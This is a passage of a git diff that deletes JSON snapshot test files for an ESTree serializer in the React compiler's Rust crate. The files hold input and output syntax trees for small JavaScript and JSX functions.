-                        "name": "i",
-                        "typeAnnotation": null,
-                        "optional": false,
-                        "range": [
-                          83,
-                          84
-                        ]
-                      },
-                      "range": [
-                        78,
-                        84
-                      ]
-                    },
-                    "directive": null,
-                    "range": [
-                      78,
-                      85
-                    ]
-                  }
-                ],
-                "range": [
-                  72,
-                  89
-                ]
-              },
-              "range": [
-                43,
-                89
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 6,
-                  "column": 2
-                },
-                "end": {
-                  "line": 6,
-                  "column": 11
-                }
-              },
-              "argument": {
-                "type": "Identifier",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 6,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 6,
-                    "column": 10
-                  }
-                },
-                "name": "x",
-                "typeAnnotation": null,
-                "optional": false,
-                "range": [
-                  99,
-                  100
-                ]
-              },
-              "range": [
-                92,
-                101
-              ]
-            }
-          ],
-          "range": [
-            26,
-            103
-          ]
-        },
-        "typeParameters": null,
-        "returnType": null,
-        "predicate": null,
-        "generator": false,
-        "async": false,
-        "range": [
-          0,
-          103
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      0,
-      103
-    ],
-    "sourceType": "script"
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 9
-          },
-          "end": {
-            "line": 1,
-            "column": 18
-          }
-        },
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 19
-            },
-            "end": {
-              "line": 1,
-              "column": 24
-            }
-          },
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 6
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 7
-                    }
-                  },
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "Literal",
-                  "value": 0.0,
-                  "raw": "0",
-                  "regex": null,
-                  "bigint": null,
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 10
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 11
-                    }
-                  },
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 6
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 11
-                  }
-                },
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 2,
-                "column": 2
-              },
-              "end": {
-                "line": 2,
-                "column": 12
-              }
-            },
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 11
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 12
-                      }
-                    },
-                    "range": [
-                      52,
-                      53
-                    ]
-                  },
-                  "init": {
-                    "type": "Literal",
-                    "value": 0.0,
-                    "raw": "0",
-                    "regex": null,
-                    "bigint": null,
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 15
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 16
-                      }
-                    },
-                    "range": [
-                      56,
-                      57
-                    ]
-                  },
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 11
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 16
-                    }
-                  },
-                  "range": [
-                    52,
-                    57
-                  ]
-                }
-              ],
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 7
-                },
-                "end": {
-                  "line": 3,
-                  "column": 16
-                }
-              },
-              "range": [
-                48,
-                57
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 18
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 19
-                  }
-                },
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "Literal",
-                "value": 10.0,
-                "raw": "10",
-                "regex": null,
-                "bigint": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 22
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 24
-                  }
-                },
-                "range": [
-                  63,
-                  65
-                ]
-              },
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 18
-                },
-                "end": {
-                  "line": 3,
-                  "column": 24
-                }
-              },
-              "range": [
-                59,
-                65
-              ]
-            },
-            "update": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 27
-                  }
-                },
-                "range": [
-                  67,
-                  68
-                ]
-              },
-              "prefix": false,
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 26
-                },
-                "end": {
-                  "line": 3,
-                  "column": 29
-                }
-              },
-              "range": [
-                67,
-                70
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 4
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 5
-                        }
-                      },
-                      "range": [
-                        78,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 9
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 10
-                        }
-                      },
-                      "range": [
-                        83,
-                        84
-                      ]
-                    },
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 4,
-                        "column": 4
-                      },
-                      "end": {
-                        "line": 4,
-                        "column": 10
-                      }
-                    },
-                    "range": [
-                      78,
-                      84
-                    ]
-                  },
-                  "directive": null,
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 4,
-                      "column": 4
-                    },
-                    "end": {
-                      "line": 4,
-                      "column": 11
-                    }
-                  },
-                  "range": [
-                    78,
-                    85
-                  ]
-                }
-              ],
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 31
-                },
-                "end": {
-                  "line": 5,
-                  "column": 3
-                }
-              },
-              "range": [
-                72,
-                89
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 3,
-                "column": 2
-              },
-              "end": {
-                "line": 5,
-                "column": 3
-              }
-            },
-            "range": [
-              43,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 6,
-                  "column": 9
-                },
-                "end": {
-                  "line": 6,
-                  "column": 10
-                }
-              },
-              "range": [
-                99,
-                100
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 6,
-                "column": 2
-              },
-              "end": {
-                "line": 6,
-                "column": 11
-              }
-            },
-            "range": [
-              92,
-              101
-            ]
-          }
-        ],
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 26
-          },
-          "end": {
-            "line": 7,
-            "column": 1
-          }
-        },
-        "range": [
-          26,
-          103
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": null,
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 1,
-          "column": 0
-        },
-        "end": {
-          "line": 7,
-          "column": 1
-        }
-      },
-      "range": [
-        0,
-        103
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 1,
-      "column": 0
-    },
-    "end": {
-      "line": 7,
-      "column": 1
-    }
-  },
-  "range": [
-    0,
-    103
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@import.json.snap b/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@import.json.snap
deleted file mode 100644
index df265cf5472a..000000000000
--- a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@import.json.snap
+++ /dev/null
@@ -1,213 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/import.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 1,
-        "column": 26
-      }
-    },
-    "body": [
-      {
-        "type": "ImportDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 1,
-            "column": 26
-          }
-        },
-        "specifiers": [
-          {
-            "type": "ImportDefaultSpecifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 7
-              },
-              "end": {
-                "line": 1,
-                "column": 12
-              }
-            },
-            "local": {
-              "type": "Identifier",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 1,
-                  "column": 7
-                },
-                "end": {
-                  "line": 1,
-                  "column": 12
-                }
-              },
-              "name": "React",
-              "typeAnnotation": null,
-              "optional": false,
-              "range": [
-                7,
-                12
-              ]
-            },
-            "range": [
-              7,
-              12
-            ]
-          }
-        ],
-        "source": {
-          "type": "Literal",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 18
-            },
-            "end": {
-              "line": 1,
-              "column": 25
-            }
-          },
-          "value": "react",
-          "range": [
-            18,
-            25
-          ],
-          "raw": "'react'"
-        },
-        "attributes": [],
-        "importKind": "value",
-        "range": [
-          0,
-          26
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      0,
-      26
-    ],
-    "sourceType": "module"
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "React",
-            "typeAnnotation": null,
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 7
-              },
-              "end": {
-                "line": 1,
-                "column": 12
-              }
-            },
-            "range": [
-              7,
-              12
-            ]
-          },
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 7
-            },
-            "end": {
-              "line": 1,
-              "column": 12
-            }
-          },
-          "range": [
-            7,
-            12
-          ]
-        }
-      ],
-      "source": {
-        "type": "Literal",
-        "value": "react",
-        "raw": "'react'",
-        "regex": null,
-        "bigint": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 18
-          },
-          "end": {
-            "line": 1,
-            "column": 25
-          }
-        },
-        "range": [
-          18,
-          25
-        ]
-      },
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 1,
-          "column": 0
-        },
-        "end": {
-          "line": 1,
-          "column": 26
-        }
-      },
-      "range": [
-        0,
-        26
-      ]
-    }
-  ],
-  "sourceType": "module",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 1,
-      "column": 0
-    },
-    "end": {
-      "line": 1,
-      "column": 26
-    }
-  },
-  "range": [
-    0,
-    26
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@simple.json.snap b/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@simple.json.snap
deleted file mode 100644
index 5acf6080f139..000000000000
--- a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@simple.json.snap
+++ /dev/null
@@ -1,379 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/simple.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 3,
-        "column": 1
-      }
-    },
-    "range": [
-      0,
-      51
-    ],
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 3,
-            "column": 1
-          }
-        },
-        "range": [
-          0,
-          51
-        ],
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 9
-            },
-            "end": {
-              "line": 1,
-              "column": 18
-            }
-          },
-          "range": [
-            9,
-            18
-          ],
-          "name": "Component",
-          "typeAnnotation": null,
-          "optional": false
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 19
-              },
-              "end": {
-                "line": 1,
-                "column": 24
-              }
-            },
-            "range": [
-              19,
-              24
-            ],
-            "name": "props",
-            "typeAnnotation": null,
-            "optional": false
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 26
-            },
-            "end": {
-              "line": 3,
-              "column": 1
-            }
-          },
-          "range": [
-            26,
-            51
-          ],
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 2
-                },
-                "end": {
-                  "line": 2,
-                  "column": 21
-                }
-              },
-              "range": [
-                30,
-                49
-              ],
-              "argument": {
-                "type": "MemberExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 20
-                  }
-                },
-                "range": [
-                  37,
-                  48
-                ],
-                "object": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 9
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 14
-                    }
-                  },
-                  "range": [
-                    37,
-                    42
-                  ],
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "optional": false
-                },
-                "property": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 15
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 20
-                    }
-                  },
-                  "range": [
-                    43,
-                    48
-                  ],
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "optional": false
-                },
-                "computed": false
-              }
-            }
-          ]
-        },
-        "async": false,
-        "generator": false,
-        "predicate": null,
-        "expression": false,
-        "returnType": null,
-        "typeParameters": null
-      }
-    ],
-    "comments": [],
-    "errors": []
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 9
-          },
-          "end": {
-            "line": 1,
-            "column": 18
-          }
-        },
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 19
-            },
-            "end": {
-              "line": 1,
-              "column": 24
-            }
-          },
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 14
-                  }
-                },
-                "range": [
-                  37,
-                  42
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "value",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 15
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 20
-                  }
-                },
-                "range": [
-                  43,
-                  48
-                ]
-              },
-              "computed": false,
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 9
-                },
-                "end": {
-                  "line": 2,
-                  "column": 20
-                }
-              },
-              "range": [
-                37,
-                48
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 2,
-                "column": 2
-              },
-              "end": {
-                "line": 2,
-                "column": 21
-              }
-            },
-            "range": [
-              30,
-              49
-            ]
-          }
-        ],
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 26
-          },
-          "end": {
-            "line": 3,
-            "column": 1
-          }
-        },
-        "range": [
-          26,
-          51
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": null,
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 1,
-          "column": 0
-        },
-        "end": {
-          "line": 3,
-          "column": 1
-        }
-      },
-      "range": [
-        0,
-        51
-      ]
-    }
-  ],
-  "sourceType": "module",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 1,
-      "column": 0
-    },
-    "end": {
-      "line": 3,
-      "column": 1
-    }
-  },
-  "range": [
-    0,
-    51
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@test.json.snap b/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@test.json.snap
deleted file mode 100644
index cb260b180b19..000000000000
--- a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@test.json.snap
+++ /dev/null
@@ -1,708 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/test.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 2,
-        "column": 0
-      },
-      "end": {
-        "line": 4,
-        "column": 1
-      }
-    },
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 0
-          },
-          "end": {
-            "line": 4,
-            "column": 1
-          }
-        },
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 2,
-              "column": 9
-            },
-            "end": {
-              "line": 2,
-              "column": 12
-            }
-          },
-          "name": "foo",
-          "typeAnnotation": null,
-          "optional": false,
-          "range": [
-            10,
-            13
-          ]
-        },
-        "params": [],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 2,
-              "column": 15
-            },
-            "end": {
-              "line": 4,
-              "column": 1
-            }
-          },
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 2
-                },
-                "end": {
-                  "line": 3,
-                  "column": 36
-                }
-              },
-              "argument": {
-                "type": "JSXElement",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 36
-                  }
-                },
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 9
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 26
-                    }
-                  },
-                  "name": {
-                    "type": "JSXMemberExpression",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 17
-                      }
-                    },
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 10
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 13
-                        }
-                      },
-                      "name": "Foo",
-                      "range": [
-                        28,
-                        31
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 14
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 17
-                        }
-                      },
-                      "name": "Bar",
-                      "range": [
-                        32,
-                        35
-                      ]
-                    },
-                    "range": [
-                      28,
-                      35
-                    ]
-                  },
-                  "attributes": [
-                    {
-                      "type": "JSXAttribute",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 18
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 24
-                        }
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 18
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 19
-                          }
-                        },
-                        "name": "a",
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "JSXExpressionContainer",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 20
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 24
-                          }
-                        },
-                        "expression": {
-                          "type": "Literal",
-                          "loc": {
-                            "source": null,
-                            "start": {
-                              "line": 3,
-                              "column": 21
-                            },
-                            "end": {
-                              "line": 3,
-                              "column": 23
-                            }
-                          },
-                          "value": 10,
-                          "range": [
-                            39,
-                            41
-                          ],
-                          "raw": "10"
-                        },
-                        "range": [
-                          38,
-                          42
-                        ]
-                      },
-                      "range": [
-                        36,
-                        42
-                      ]
-                    }
-                  ],
-                  "selfClosing": false,
-                  "range": [
-                    27,
-                    44
-                  ]
-                },
-                "children": [],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 26
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 36
-                    }
-                  },
-                  "name": {
-                    "type": "JSXMemberExpression",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 28
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 35
-                      }
-                    },
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 28
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 31
-                        }
-                      },
-                      "name": "Foo",
-                      "range": [
-                        46,
-                        49
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 32
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 35
-                        }
-                      },
-                      "name": "Bar",
-                      "range": [
-                        50,
-                        53
-                      ]
-                    },
-                    "range": [
-                      46,
-                      53
-                    ]
-                  },
-                  "range": [
-                    44,
-                    54
-                  ]
-                },
-                "range": [
-                  27,
-                  54
-                ]
-              },
-              "range": [
-                20,
-                54
-              ]
-            }
-          ],
-          "range": [
-            16,
-            56
-          ]
-        },
-        "typeParameters": null,
-        "returnType": null,
-        "predicate": null,
-        "generator": false,
-        "async": false,
-        "range": [
-          1,
-          56
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      1,
-      56
-    ],
-    "sourceType": "script"
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 9
-          },
-          "end": {
-            "line": 2,
-            "column": 12
-          }
-        },
-        "range": [
-          10,
-          13
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 13
-                      }
-                    },
-                    "range": [
-                      28,
-                      31
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 14
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 17
-                      }
-                    },
-                    "range": [
-                      32,
-                      35
-                    ]
-                  },
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 10
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 17
-                    }
-                  },
-                  "range": [
-                    28,
-                    35
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 18
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 19
-                        }
-                      },
-                      "range": [
-                        36,
-                        37
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Literal",
-                        "value": 10.0,
-                        "raw": "10",
-                        "regex": null,
-                        "bigint": null,
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 21
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 23
-                          }
-                        },
-                        "range": [
-                          39,
-                          41
-                        ]
-                      },
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 20
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 24
-                        }
-                      },
-                      "range": [
-                        38,
-                        42
-                      ]
-                    },
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 18
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 24
-                      }
-                    },
-                    "range": [
-                      36,
-                      42
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 26
-                  }
-                },
-                "range": [
-                  27,
-                  44
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 28
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 31
-                      }
-                    },
-                    "range": [
-                      46,
-                      49
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 32
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 35
-                      }
-                    },
-                    "range": [
-                      50,
-                      53
-                    ]
-                  },
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 28
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 35
-                    }
-                  },
-                  "range": [
-                    46,
-                    53
-                  ]
-                },
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 36
-                  }
-                },
-                "range": [
-                  44,
-                  54
-                ]
-              },
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 9
-                },
-                "end": {
-                  "line": 3,
-                  "column": 36
-                }
-              },
-              "range": [
-                27,
-                54
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 3,
-                "column": 2
-              },
-              "end": {
-                "line": 3,
-                "column": 36
-              }
-            },
-            "range": [
-              20,
-              54
-            ]
-          }
-        ],
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 15
-          },
-          "end": {
-            "line": 4,
-            "column": 1
-          }
-        },
-        "range": [
-          16,
-          56
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": null,
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 2,
-          "column": 0
-        },
-        "end": {
-          "line": 4,
-          "column": 1
-        }
-      },
-      "range": [
-        1,
-        56
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 2,
-      "column": 0
-    },
-    "end": {
-      "line": 4,
-      "column": 1
-    }
-  },
-  "range": [
-    1,
-    56
-  ]
-}
diff --git a/compiler/crates/react_estree/src/visit.rs b/compiler/crates/react_estree/src/visit.rs
deleted file mode 100644
index a29df5c01910..000000000000
--- a/compiler/crates/react_estree/src/visit.rs
+++ /dev/null
@@ -1,537 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
